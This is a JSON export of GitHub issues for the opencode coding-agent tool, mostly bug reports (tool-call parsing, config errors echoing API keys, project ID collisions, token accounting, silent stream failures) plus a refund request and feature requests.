        "text": "### Description Используется Windows PowerShell 5.1 Команда запуска: opencode в папке C:\\Users\\MarinaAI\\Documents\\Default Project\\budget-app Любой вызов инструмента (bash, read, glob и т.д.) обрывается на середине JSON Пример ошибки: Invalid input for tool bash: JSON parsing failed: Text: {\"command\": \" (position 13) Пробовали обновить opencode до последней версии — не помогло ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42307",
        "createdAt": "2026-08-13T11:04:58Z",
        "updatedAt": "2026-08-13T13:30:16Z",
        "timestamp": "2026-08-13T13:30:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "marinamartynova",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42308",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Config parse errors echo the substituted text, not the file as written",
        "text": "### Description Hit this while fixing a typo in my opencode.json. I had a syntax error (forgot the value after \"model\":) and the config uses {env:DEMO_KEY} for the API key. The error under \"--- JSONC Input ---\" printed my config back with the actual key value where {env:DEMO_KEY} was. I'd expect it to quote the file the way I wrote it. tui.json goes through the same path, and that one ends up in ~/.local/share/opencode/log/opencode.log. ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce 1. Put this in opencode.json: { \"$schema\": \"https://opencode.ai/config.json\", \"provider\": { \"anthropic\": { \"options\": { \"apiKey\": \"{env:DEMO_KEY}\" } } }, \"model\": } 2. DEMO_KEY=sk-live-DO-NOT-PRINT opencode run \"hi\" 3. Look at the block under \"--- JSONC Input ---\" - the apiKey line shows sk-live-DO-NOT-PRINT instead of {env:DEMO_KEY}, and the reported line number doesn't match the file. ### Screenshot and/or share link <img width=\"1730\" height=\"1916\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f236fdbd-1f2f-4ac3-b92d-3c7dacbb64b3\" /> ### Operating System macOS 26.0.1 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42308",
        "createdAt": "2026-08-13T11:10:22Z",
        "updatedAt": "2026-08-13T11:11:16Z",
        "timestamp": "2026-08-13T11:11:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42315",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Same git remote URL produces identical project_id for different local clones → only one project visible in desktop sidebar",
        "text": "### Description # Title (EN) Same git remote URL produces identical project_id for different local clones → only one project visible in desktop sidebar # 标题 (中文) 相同的 git remote URL 导致不同本地 clone 生成相同的 project_id，桌面端侧边栏只能看到一个项目 --- ## English version ### Description When two local directories are clones of the **same git remote** (but on different branches / versions), opencode assigns them the **same `project_id`**. As a result, the desktop client aggregates them into a single entry in the sidebar project list, and only the first-added project is usable. The second directory cannot be added/switched to as a separate project. ### Environment - opencode desktop: 1.18.18 (Windows) - OS: Windows ### Reproduction steps 1. Clone the same repo into two local directories, e.g.: - `/path/to/repo-branchA` (branch A) - `/path/to/repo-branchB` (branch B) 2. Both have the same remote origin URL: ``` origin https://git.example.com/group/repo.git ``` 3. Add both directories as projects in the desktop client. 4. Observe the sidebar: only **one** project entry is shown. ### Expected behavior Both directories should be listed as separate projects (or at least be switchable), since they are different working directories with different branches. ### Actual behavior Both directories resolve to the same `project_id`: ``` <sha1 hash> ``` which is `sha1(\"git-remote:git.example.com/group/repo\")`. The desktop sidebar deduplicates by `project_id`, so only the first-added project is visible. ### Root cause (from source inspection) In `Project.resolve` (`node-4IhTfWZ9.js` around line 85716), the `project_id` is resolved with this priority: 1. `sha1(\"git-remote:\" + normalizedRemoteUrl)` ← **always wins when a remote is set** 2. cached value in `.git/opencode` 3. root commit hash (`git rev-list --max-parents=0 HEAD`) Since both clones share the same remote URL, step 1 produces an identical id, and the fallbacks are never reached. Even the root-commit fallback would be identical here because both clones share the same root commit. The `project_directory` table already supports a many-to-one mapping (PK is `(project_id, directory)`), so the **data layer** can hold multiple directories per project. The limitation is in the **UI**, which aggregates by `project_id` only. ### Why this matters For developers who maintain multiple versions/branches of the same repo side-by-side (e.g. a maintenance branch + a development branch), this makes it impossible to manage them as separate projects in the desktop client. ### Suggested improvements (any of) 1. **UI**: Show distinct entries per `directory` even when they share a `project_id` (the `project_directory` table already supports this). 2. **ID resolution**: Incorporate the local working directory (or branch) into the `project_id` as a tiebreaker when remote URLs collide, e.g. `sha1(\"git-remote:\" + remote + \":\" + worktreePath)` or `sha1(remote + \"@\" + branch)`. 3. **Workspace**: Allow registering an existing independent clone directory as a workspace target (currently workspaces only support `git worktree`-linked directories). --- ## 中文版 ### 问题描述 当两个本地目录是**同一个 git remote** 的 clone（但分支/版本不同）时，opencode 会给它们分配**相同的 `project_id`**。这导致桌面端在侧边栏的项目列表里把两者聚合成一条，只能看到最先添加的那个项目，第二个目录无法作为独立项目添加/切换使用。 ### 环境信息 - opencode 桌面端：1.18.18（Windows） - 操作系统：Windows ### 复现步骤 1. 把同一个仓库 clone 到两个本地目录，例如： - `/path/to/repo-branchA`（分支 A） - `/path/to/repo-branchB`（分支 B） 2. 两者的 remote origin URL 相同： ``` origin https://git.example.com/group/repo.git ``` 3. 在桌面端把这两个目录都添加为项目。 4. 观察侧边栏：只显示了**一个**项目条目。 ### 期望行为 两个目录应作为独立项目展示（或至少可切换），因为它们是不同的工作目录、不同分支。 ### 实际行为 两个目录解析出了相同的 `project_id`： ``` <sha1 hash> ``` 即 `sha1(\"git-remote:git.example.com/group/repo\")`。 桌面端侧边栏按 `project_id` 去重，因此只显示最先添加的项目。 ### 根因（源码分析） 在 `Project.resolve`（`node-4IhTfWZ9.js` 约 85716 行）中，`project_id` 按以下优先级解析： 1. `sha1(\"git-remote:\" + 规范化后的 remote URL)` ← **只要设置了 remote 就一定命中** 2. `.git/opencode` 缓存文件 3. root commit hash（`git rev-list --max-parents=0 HEAD`） 由于两个 clone 的 remote URL 相同，第 1 步就产生相同 id，fallback 永远不会触发。即便走到 fallback，root commit 也相同（同源仓库），结果仍会一致。 `project_directory` 表本身已支持多目录映射（主键是 `(project_id, directory)` 联合主键），**数据层**可以容纳同一 project_id 下的多个目录。限制在 **UI 层**——只按 `project_id` 聚合展示。 ### 为什么这很重要 对于需要并行维护同一仓库多个版本/分支的开发者（例如同时维护某个维护分支和开发另一个分支），这导致无法在桌面端把它们作为独立项目来管理。 ### 建议改进（任选其一） 1. **UI**：即使 `project_id` 相同，也按 `directory` 展示不同条目（`project_directory` 表已支持）。 2. **ID 解析**：当 remote URL 冲突时，把本地工作目录（或分支）纳入 `project_id` 计算，例如 `sha1(\"git-remote:\" + remote + \":\" + worktreePath)` 或 `sha1(remote + \"@\" + branch)`。 3. **Workspace**：允许把已有的独立 clone 目录注册为 workspace 目标（目前 workspace 只支持 `git worktree` 关联的目录）。 ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42315",
        "createdAt": "2026-08-13T12:44:58Z",
        "updatedAt": "2026-08-13T12:51:46Z",
        "timestamp": "2026-08-13T12:51:46Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "gangbanbro",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42318",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Changed-files view shows changes from other sessions (no per-session filtering)",
        "text": "### Description The changed-files indicator in a conversation window lists files that were modified by *other* conversations or tools working in the same directory, not just the changes made by the current session. Observed case: in a session that created exactly one new file, the file-change panel reported 5 changed files. File timestamps show the other files were last modified before this session started (uncommitted changes left by earlier work). This makes it look like the current conversation modified files it never touched, which is confusing and can look like unintended edits. Root cause (verified against `dev` source): - `packages/opencode/src/git/index.ts` — `status()` runs `git status --porcelain=v1 --untracked-files=all --no-renames -z -- .` scoped only to the project `cwd`; there is no session parameter anywhere. - SDK `file.status({ query? })` likewise has no session scoping. So every session in the same directory shares one project-wide git-status change list. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Take a git repo with pre-existing uncommitted changes (e.g. left by earlier sessions). 2. Open opencode in that directory and start a new conversation. 3. Ask the assistant to write one new file. 4. Look at the changed-files indicator for this conversation: it lists the pre-existing modified files (from other sessions) together with the one file this session created. ### Screenshot and/or share link _No response_ ### Operating System Windows 10 Pro 22H2 (build 19045) ### Terminal PowerShell 5.1",
        "url": "https://github.com/anomalyco/opencode/issues/42318",
        "createdAt": "2026-08-13T12:57:20Z",
        "updatedAt": "2026-08-13T13:07:43Z",
        "timestamp": "2026-08-13T13:07:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "StarryJinda",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42320",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Opencode hangs after model selection with opencode-go/minimax-m3",
        "text": "### Description I subscribed to Opencode, but in my environment the app hangs when sending a request to the model. The local installation appears to start normally, and the provider credentials are available, but once the model is selected the request never returns a response. Environment: OS: Linux Shell: bash opencode version: 1.18.18 Provider: opencode-go Model: minimax-m3 ### Plugins oh-my-opencode-slim ### OpenCode version 1.18.18 ### Steps to reproduce Run opencode providers list Confirm that credentials are present Run: `opencode --print-logs --log-level DEBUG -m opencode-go/minimax-m3 run \"hello\"` Observe that the process reaches the model selection stage and then stalls without returning any result Expected behavior: The model should respond normally to the prompt. Actual behavior: The request hangs after llm runtime selected and stream providerID=opencode-go modelID=minimax-m3 The process must be manually interrupted Exit code is 130 ### Screenshot and/or share link timestamp=2026-08-13T12:25:56.269Z level=INFO run=a05ce97c message=\"creating instance\" directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.270Z level=INFO run=a05ce97c message=fromDirectory directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.282Z level=INFO run=a05ce97c message=bootstrapping directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.286Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/config.json timestamp=2026-08-13T12:25:56.287Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.json timestamp=2026-08-13T12:25:56.291Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.jsonc ... timestamp=2026-08-13T12:25:57.171Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=true agent=title mode=primary timestamp=2026-08-13T12:25:57.185Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 timestamp=2026-08-13T12:26:00.576Z level=INFO run=a05ce97c message=process session.id=ses_004e9e886ffeLm52lnnnJmwVSn messageID=msg_ffb161892001zWeIGHL9kXu82k timestamp=2026-08-13T12:26:00.577Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=false agent=orchestrator mode=primary timestamp=2026-08-13T12:26:00.578Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 ### Operating System WSL:Ubuntu ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42320",
        "createdAt": "2026-08-13T13:04:59Z",
        "updatedAt": "2026-08-13T17:19:01Z",
        "timestamp": "2026-08-13T17:19:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "zlzhangn",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42321",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Refund Request – OpenCode Go Subscription",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Dear OpenCode Support Team, I’m writing to request a refund for my recent OpenCode Go subscription payment. I’m a student with a very limited budget, and after reviewing my finances, I realized that this subscription is more than I can reasonably afford at the moment. The payment has put some pressure on my available spending budget, so I would really appreciate it if you could make an exception and issue a refund for the recent subscription charge. I understand that refunds may be subject to your policies, but I kindly ask you to consider my situation and review this request manually. I’m not trying to misuse the service—I simply made a purchase that I now realize I cannot comfortably afford as a student. I would be very grateful if you could refund the recent charge and cancel the subscription so that I’m not charged again. Thank you very much for your time and consideration. I sincerely appreciate any help you can provide. Best regards, [zky6663p@gmail.com](mailto:zky6663p@gmail.com)",
        "url": "https://github.com/anomalyco/opencode/issues/42321",
        "createdAt": "2026-08-13T13:07:21Z",
        "updatedAt": "2026-08-13T15:47:54Z",
        "timestamp": "2026-08-13T15:47:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "jayden264",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42322",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[bug]出现了令人意外的错误或者问题/An unexpected error or problem occurred",
        "text": "### Description 我认为此问题应该是其他问题的重复 因为我之前有遇到过此问题，于是我更新了结果更新之后又遇到该问题 正常情况下，他应该让我等到明天早上再使用opencode但他并没有他一直在尝试重新尝试 如果您认为我冒犯了您，您随时可以关闭这个 I think this question should be a duplicate of other questions Because I have encountered this problem before, I updated the results and encountered the problem again. Normally he would have asked me to wait until tomorrow morning to use opencode but he didn't and he kept trying again If you think I've offended you, you can always close this The expected behavior is that it will pop up a long timer like 4xxxx ### Plugins _No response_ ### OpenCode version latest ### Steps to reproduce 1.让ai完成任何工作 2.在ai完成这个工作之后，关闭这个，重新开始一个 1. Let AI complete any work 2. After ai completes this work, close this one and start again ### Screenshot and/or share link <img width=\"1132\" height=\"192\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/61527e57-97ae-468b-ace9-d7277125720e\" /> ### Operating System Windows ### Terminal desktop",
        "url": "https://github.com/anomalyco/opencode/issues/42322",
        "createdAt": "2026-08-13T13:07:39Z",
        "updatedAt": "2026-08-13T13:35:56Z",
        "timestamp": "2026-08-13T13:35:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "TransferStation-ai",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42324",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Multi-step tool calls overwrite token counts instead of accumulating (output, reasoning, cache.write lost)",
        "text": "## Bug In multi-step tool-call assistant messages, `processor.ts` overwrites `assistantMessage.tokens` on each `step-finish` event instead of accumulating additive fields. Only the last step's output, reasoning, and cache.write survive. ## Root cause `packages/opencode/src/session/processor.ts` step-finish handler: ```ts ctx.assistantMessage.cost += usage.cost // accumulates ctx.assistantMessage.tokens = usage.tokens // overwrites! ``` ## Impact For an assistant message with N tool-call steps, the message-level tokens only reflect the last step: - Context metrics (session context meter) under-report token usage for multi-step messages - `compaction.isOverflow` checks use `lastFinished.tokens` (`prompt.ts`), so underestimating tokens delays auto-compaction and makes the next request more likely to hit the provider context limit ## Notes - Follow-up to #21913, which was auto-closed for inactivity (bot comment says to open a new one if still relevant). The bug still exists on the latest `dev`. - Earlier fix attempts (#22077, #22032, #10215) were closed unmerged by automated cleanup, not by technical review. ## Expected behavior Output, reasoning, and cache.write tokens should accumulate across steps (like `cost` already does). Input and cache.read should keep the final step's values, since the final step's request already includes all prior steps.",
        "url": "https://github.com/anomalyco/opencode/issues/42324",
        "createdAt": "2026-08-13T13:15:58Z",
        "updatedAt": "2026-08-13T13:34:21Z",
        "timestamp": "2026-08-13T13:34:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "gold-beyond",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42325",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] Stream silently returns empty when calling Zhipu via Anthropic-compatible provider (`/api/anthropic`)",
        "text": "## Summary When configuring OpenCode to call **Zhipu GLM (智谱)** via the **Anthropic-compatible endpoint** (`https://open.bigmodel.cn/api/anthropic`) with `@ai-sdk/anthropic`, the LLM stream **silently returns empty**: - Stream starts (`message=stream ... agent=build mode=primary`) - Within ~200–300ms the loop exits with `step=1` → `exiting loop` - **No chunks, no error, no warning, exit code 0** - Output is completely blank — the user sees nothing This is the \"SSE parser silently swallows error\" pattern already referenced in #33888, but happening at the **provider protocol level** even when `provider.npm` is correctly applied (the catalog shows `package: @ai-sdk/anthropic`, so the npm field IS taking effect — this is not the npm-ignored case). ## Environment - **OpenCode**: 1.18.18 (installed via `npm install -g opencode-ai`) - **OS**: macOS Darwin 25.5.0 (arm64) - **Provider config**: ```jsonc { \"provider\": { \"zhipu\": { \"npm\": \"@ai-sdk/anthropic\", \"name\": \"智谱 GLM\", \"options\": { \"baseURL\": \"https://open.bigmodel.cn/api/anthropic\", \"apiKey\": \"...\" }, \"models\": { \"glm-5.2\": { \"name\": \"GLM-5.2\", \"reasoning\": true, \"tool_call\": true } } } }, \"model\": \"zhipu/glm-5.2\" } ``` ## Reproduction 1. Configure Zhipu via the Anthropic-compatible endpoint as shown above. 2. Run `opencode run \"测试\"`. 3. Observe: blank stdout, exit 0, no error in logs. ## Expected Either: - A successful streamed response, OR - A visible error explaining what the SDK failed to parse. ## Actual Stream silently aborts. Debug log (`--print-logs --log-level DEBUG`) timeline: ``` T+0 loop step=0 T+0 stream providerID=zhipu modelID=glm-5.2 agent=build mode=primary T+0 llm runtime selected llm.runtime=ai-sdk llm.provider=zhipu T+250ms loop step=1 T+250ms exiting loop T+254ms disposing instance ``` No `chunk`, no `error`, no `warn` between `stream` and `exiting loop`. The 250ms duration is far shorter than a real API call (~3–4s), so the SDK is returning an empty stream rather than failing loudly. ## Evidence that the upstream API is healthy Direct `curl` against the same endpoint returns valid SSE chunks: ```bash curl -sN -X POST \"https://open.bigmodel.cn/api/anthropic/v1/messages\" \\ -H \"x-api-key: $KEY\" -H \"anthropic-version: 2023-06-01\" \\ -d '{\"model\":\"glm-5.2\",\"max_tokens\":50,\"stream\":true,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' ``` Returns standard `message_start` / `content_block_delta` / `message_stop` events. The failure is **not** at the API layer — it's somewhere in the `@ai-sdk/anthropic` ↔ Zhipu anthropic-compat boundary. ## Workaround Switch to Zhipu's **OpenAI-compatible endpoint** — it works flawlessly: ```jsonc { \"provider\": { \"zhipu\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"https://open.bigmodel.cn/api/paas/v4\", \"apiKey\": \"...\" }, \"models\": { \"glm-5.2\": { ... } } } } } ``` Same `opencode run \"测试\"` then returns the expected response immediately. This matches what community members recommended in #2431. ## What I'd like OpenCode to improve 1. **Don't silently swallow stream errors.** If the SSE parser hits something it can't handle, emit at least a WARN-level log line. The current behavior (zero diagnostic output, exit 0) makes this category of bug nearly impossible to diagnose without source-level debugging. 2. **Document the Zhipu anthropic-compat incompatibility** — either fix the SDK path, or add a config-time warning that for Zhipu, the OpenAI-compatible endpoint is the recommended one. ## Related issues - #33888 — Provider-level `npm` field silently ignored (different root cause, similar silent-failure surface) - #2431, #2383 — Community already recommending OpenAI-compatible for Zhipu - #33280 — GLM-5.2 + OpenAI-compatible has separate \"Empty message content sanitised\" issue (orthogonal) ## Diagnostics Happy to provide full debug logs, `opencode debug v2` output, or run any experimental builds if it helps narrow down where the stream is being dropped.",
        "url": "https://github.com/anomalyco/opencode/issues/42325",
        "createdAt": "2026-08-13T13:16:47Z",
        "updatedAt": "2026-08-13T13:39:58Z",
        "timestamp": "2026-08-13T13:39:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "spladc-creator",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42329",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Fetch Failed",
        "text": "Description After working with openCode, I receive a \"Failed to fetch\" error when trying to send a prompt. After restart I can send 0-1 new prompt and got the same error. Before last update i don't experienced problems Steps to Reproduce Launch openCode Type a prompt. Observe the \"Failed to fetch\" error toast Try sending again or performing any other action — no response Error Message TypeError: Failed to fetch Environment OS: Windows 11 Pro 25H2 openCode Version: OpenCode Desktop v1.18.18.0 Installation method: Official website installer Expected Behavior Prompts should be sent successfully and responses should be returned without errors. Actual Behavior All requests fail with Failed to fetch, making the application completely unusable. Additional Context This happens reliably every time I open the app. It seems like the app is unable to connect to the backend or the network request is being blocked somehow. Plugins No response OpenCode version OpenCode Desktop v1.18.18.0 Steps to reproduce Restart app or laptop - the same error. Screenshot and/or share link",
        "url": "https://github.com/anomalyco/opencode/issues/42329",
        "createdAt": "2026-08-13T13:24:18Z",
        "updatedAt": "2026-08-13T15:16:55Z",
        "timestamp": "2026-08-13T15:16:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "devfortsystems",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42332",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Feature Request: Enable plugins per-agent at the config layer (not only globally)",
        "text": "## 中文描述 ### 背景 / Background 目前 `plugin` 数组在 `opencode.json` 中是**全局生效**的——所有插件一旦配置,就会对所有 agent 加载(包括 build、plan、general、explore 以及用户自定义 agent)。配置层没有任何按 agent 启用插件的手段。 当前行为 / Current behavior: ```json { \"plugin\": [ \"opencode-gemini-auth\", \"opencode-foo@1.2.3\" ] } ``` ### 需求 / Feature Request 希望插件能够**按 agent(代理)设置启用**,而不是只能全局启用。例如: ```json { \"plugin\": { \"opencode-foo@1.2.3\": { \"agents\": [\"build\", \"plan\"] } } } ``` 或类似(在 agent 下声明): ```json { \"agent\": { \"my-agent\": { \"plugin\": [\"opencode-foo@1.2.3\"] } } } ``` ### 与 #24953 的关系 / Relation to #24953 #24953 提出的是**插件 API 层**的 per-agent 工具可见性过滤(通过 `tool.definition` hook 在运行时隐藏工具)。本 issue 提出的是**配置层**的 per-agent 插件启用(在加载时决定哪些插件对哪些 agent 生效)。两者互补:前者控制\"工具是否出现在 LLM 上下文中\",后者控制\"插件本身是否加载\"——例如某个插件带有独立初始化/后台逻辑,仅运行时隐藏工具并不能阻止它加载执行。 ### 使用场景 / Use Cases 1. **权限隔离**:某些插件(如 MCP 相关、敏感操作插件)只应给特定的 agent 启用,避免其他 agent 意外触发。 2. **上下文与性能控制**:部分信息型/重量级插件不需要在所有 agent 中加载,按 agent 启用可减小上下文开销和启动成本。 3. **Agent 专业化**:让不同的 agent 拥有不同的工具集,而不是所有 agent 共享同一套全局插件。 ### 期望行为 / Expected Behavior - 支持在 `opencode.json` 中按 agent 配置插件启用; - 保持现有全局配置向后兼容(未指定 agent 的插件保持全局生效); - 若 agent 未指定插件,回退到全局插件配置; - 与 #24953 的运行时工具过滤方案协同工作。 ### 环境 / Environment - opencode 版本: 最新版(2026-08) - 平台: Linux --- ## English Description ### Background Currently the `plugin` array in `opencode.json` is **global** — once configured, a plugin is loaded for every agent (build, plan, general, explore, and any custom agents). There is no way at the config layer to enable plugins per-agent. ### Feature Request Allow plugins to be **enabled per-agent** instead of only globally. For example: ```json { \"plugin\": { \"opencode-foo@1.2.3\": { \"agents\": [\"build\", \"plan\"] } } } ``` Or alternatively, declared under the agent: ```json { \"agent\": { \"my-agent\": { \"plugin\": [\"opencode-foo@1.2.3\"] } } } ``` ### Relation to #24953 #24953 proposes **plugin API-level** per-agent tool visibility filtering (hiding tools at runtime via a `tool.definition` hook). This issue proposes **config-level** per-agent plugin enabling (deciding at load time which plugins apply to which agents). The two are complementary: the former controls \"whether tools appear in the LLM context\", the latter controls \"whether the plugin is loaded at all\" — a plugin with its own initialization or background logic still runs even if its tools are hidden at runtime. ### Use Cases 1. **Permission isolation**: plugins that are sensitive (e.g. MCP-related, privileged operations) should only be enabled for specific agents. 2. **Context & performance control**: info-heavy or heavyweight plugins don't need to load for every agent; per-agent enabling reduces context overhead and startup cost. 3. **Agent specialization**: give different agents different toolchains instead of one shared global plugin set. ### Expected Behavior - Support per-agent plugin enabling in `opencode.json`; - Keep backward compatibility with the existing global config (plugins without an agent restriction remain global); - Fall back to the global plugin list when an agent specifies none; - Work together with #24953's runtime tool filtering. ### Environment - opencode version: latest (2026-08) - Platform: Linux",
        "url": "https://github.com/anomalyco/opencode/issues/42332",
        "createdAt": "2026-08-13T14:02:54Z",
        "updatedAt": "2026-08-13T16:18:19Z",
        "timestamp": "2026-08-13T16:18:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "LazyGrep",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42333",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Version version update miss?",
        "text": "### Description Updated to 1.18.8 this morning, `opencode --version` shows \"1.18.8\" Ran `opencode web` and in the web UI clicked on `Settings`. Just happened to notice it shows \"v1.18.17\" <img width=\"128\" height=\"61\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/9c5ebf6f-6199-4445-80ca-51f2d884b9b5\" /> ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42333",
        "createdAt": "2026-08-13T14:03:57Z",
        "updatedAt": "2026-08-13T14:05:17Z",
        "timestamp": "2026-08-13T14:05:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "c17r",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42334",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": ".18更新完毕后，使用中开始频繁将客户端弹出和前置窗口到顶部",
        "text": "[opencode-debug-20260813T141410.zip](https://github.com/user-attachments/files/31032414/opencode-debug-20260813T141410.zip)",
        "url": "https://github.com/anomalyco/opencode/issues/42334",
        "createdAt": "2026-08-13T14:17:19Z",
        "updatedAt": "2026-08-13T16:47:22Z",
        "timestamp": "2026-08-13T16:47:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "KandaSora",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42335",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Caret jumps to end of prompt after inserting an @mention on the session page",
        "text": "### Description On the **session page** with the v2 prompt composer, typing an `@` mention mid-text and selecting a suggestion collapses the caret to the **end of the prompt** instead of keeping it right after the inserted mention. For example, with the prompt `please @src/index.ts fix the bug`, placing the caret after `please ` (offset 7), typing `@src`, and clicking the file suggestion places the caret at offset 21 (end) instead of after the mention (offset 21 is the end here because the mention is at the end; with trailing text like `please @src/index.ts fix it`, the caret lands at the very end instead of between the mention and `fix it`). ### Steps to reproduce 1. Open a session (the bug only reproduces on the session page, not the new-session draft page). 2. Type text in the prompt input, then position the caret in the middle of the text. 3. Type `@` + a few characters to open the file suggestion popover. 4. Click a suggestion. 5. The caret jumps to the end of the prompt instead of staying after the inserted mention. ### Root cause `renderPromptInputV2Editor` in `packages/session-ui/src/v2/components/prompt-input/index.tsx` rebuilds the editor DOM with `replaceChildren` when the prompt changes outside a local input, and the render effect does not restore the stored cursor position — it collapses the selection to the end. The draft (new-session) page is unaffected because the browser preserves the caret there, but the session page re-renders the editor and loses the position. ### Related - #37037 (caret jumps in prompt input) — related but describes a streaming-output scenario this report does not cover.",
        "url": "https://github.com/anomalyco/opencode/issues/42335",
        "createdAt": "2026-08-13T14:22:54Z",
        "updatedAt": "2026-08-13T14:23:48Z",
        "timestamp": "2026-08-13T14:23:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "gold-beyond",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42336",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "customize-opencode skill has missing global config location",
        "text": "### Description By using /customize-opencode skill, the AI agents always miss out on opencode.jsonc file for configuring opencode configurations such as MCPs, skills, etc. on both user and project folder level and agents just assume that config file is missing and proceed with creating a new one. ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce Drop a prompt \"Use /customize-opencode and configure Playwright MCP user-level\" ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
